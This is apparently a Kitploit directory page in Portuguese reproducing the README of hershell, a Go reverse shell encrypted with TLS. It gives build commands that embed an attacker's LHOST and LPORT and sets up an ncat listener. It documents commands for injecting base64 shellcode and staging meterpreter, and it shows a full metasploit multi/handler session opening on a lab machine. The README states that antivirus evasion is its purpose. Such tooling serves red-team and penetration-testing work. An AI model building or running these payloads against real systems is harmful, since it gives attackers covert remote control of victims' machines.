Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
hershell — Hershell é uma shell reversa TCP simples escrita em Go. | Kitploit
Ferramentas/GitHubGitHub/sysdream/hershell
Geração de PayloadsExploraçãoShellcodePós-ExploraçãoTestes de PenetraçãoComando e ControleRed TeamingFerramenta de Acesso Remoto
GitHubsysdream/hershell

hershell

Hershell é uma shell reversa TCP simples escrita em Go.

Ver Repositório
52986há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Hershell

NOTA: o projeto foi bifurcado neste repositório, verifique lá para outros desenvolvimentos.

Hershell é um simples reverse shell TCP escrito em Go.

Ele usa TLS para proteger as comunicações e fornece um recurso de pinning de impressão digital da chave pública do certificado, prevenindo a interceptação de tráfego.

Sistemas operacionais suportados:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD e derivados

Por quê?

Embora os payloads do meterpreter sejam ótimos, às vezes são detectados por produtos AV.

O objetivo deste projeto é obter um reverse shell simples, que possa funcionar em múltiplos sistemas.

Como?

Como é escrito em Go, você pode cross-compilar o código-fonte para a arquitetura desejada.

Primeiros passos e dependências

Como este é um projeto Go, você precisará seguir a documentação oficial para configurar seu ambiente Golang (com a variável de ambiente $GOPATH).

Em seguida, execute go get github.com/sysdream/hershell para obter o projeto.

Compilando o payload

Para simplificar, você pode usar o Makefile fornecido. Você pode definir as seguintes variáveis de ambiente:

  • GOOS : o sistema operacional alvo
  • GOARCH : a arquitetura alvo
  • LHOST : o IP ou nome de domínio do atacante
  • LPORT : a porta do listener

Para as variáveis GOOS e GOARCH, você pode obter os valores permitidos aqui.

No entanto, alguns targets auxiliares estão disponíveis no Makefile:

  • depends : gera o certificado do servidor (necessário para o reverse shell)
  • windows32 : compila um executável Windows 32 bits (PE 32 bits)
  • windows64 : compila um executável Windows 64 bits (PE 64 bits)
  • linux32 : compila um executável Linux 32 bits (ELF 32 bits)
  • linux64 : compila um executável Linux 64 bits (ELF 64 bits)
  • macos32 : compila um executável Mac OS 32 bits (Mach-O)
  • macos64 : compila um executável Mac OS 64 bits (Mach-O)

Para esses targets, você só precisa definir as variáveis de ambiente LHOST e LPORT.

Usando o shell

Uma vez executado, você receberá um shell remoto. Este shell interativo personalizado permitirá executar comandos do sistema através de cmd.exe no Windows, ou /bin/sh em máquinas UNIX.

Os seguintes comandos especiais são suportados:

  • run_shell : te dá um shell do sistema (permitindo, por exemplo, mudar de diretório)
  • inject <base64 shellcode> : injeta um shellcode (codificado em base64) na memória do mesmo processo e o executa (apenas Windows no momento).
  • meterpreter [tcp|http|https] IP:PORT : conecta a um multi/handler para obter um meterpreter stage2 reverse tcp, http ou https do metasploit e executa o shellcode na memória (apenas Windows no momento)
  • exit : sai graciosamente

Uso

Primeiramente, você precisará gerar um certificado válido:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Para Windows:

root@kitploit:~
# Target pré-definido de 32 bits
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Target pré-definido de 64 bits
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Para Linux:

root@kitploit:~
# Target pré-definido de 32 bits
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Target pré-definido de 64 bits
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Para Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Exemplos

Uso básico

Pode-se usar várias ferramentas para lidar com conexões recebidas, tais como:

  • socat
  • ncat
  • módulo de servidor openssl
  • multi handler do metasploit (com um payload python/shell_reverse_tcp_ssl)

Aqui está um exemplo com ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter staging

AVISO: isso atualmente funciona apenas na plataforma Windows.

O meterpreter staging atualmente suporta os seguintes payloads:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Para usar o correto, apenas especifique o transporte que deseja usar (tcp, http, https)

Para usar o recurso de meterpreter staging, apenas inicie seu handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Então, no hershell, use o comando meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Uma nova sessão meterpreter deve aparecer no msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Créditos

Ronan Kervella <r.kervella -at- sysdream -dot- com>

Baixar ferramenta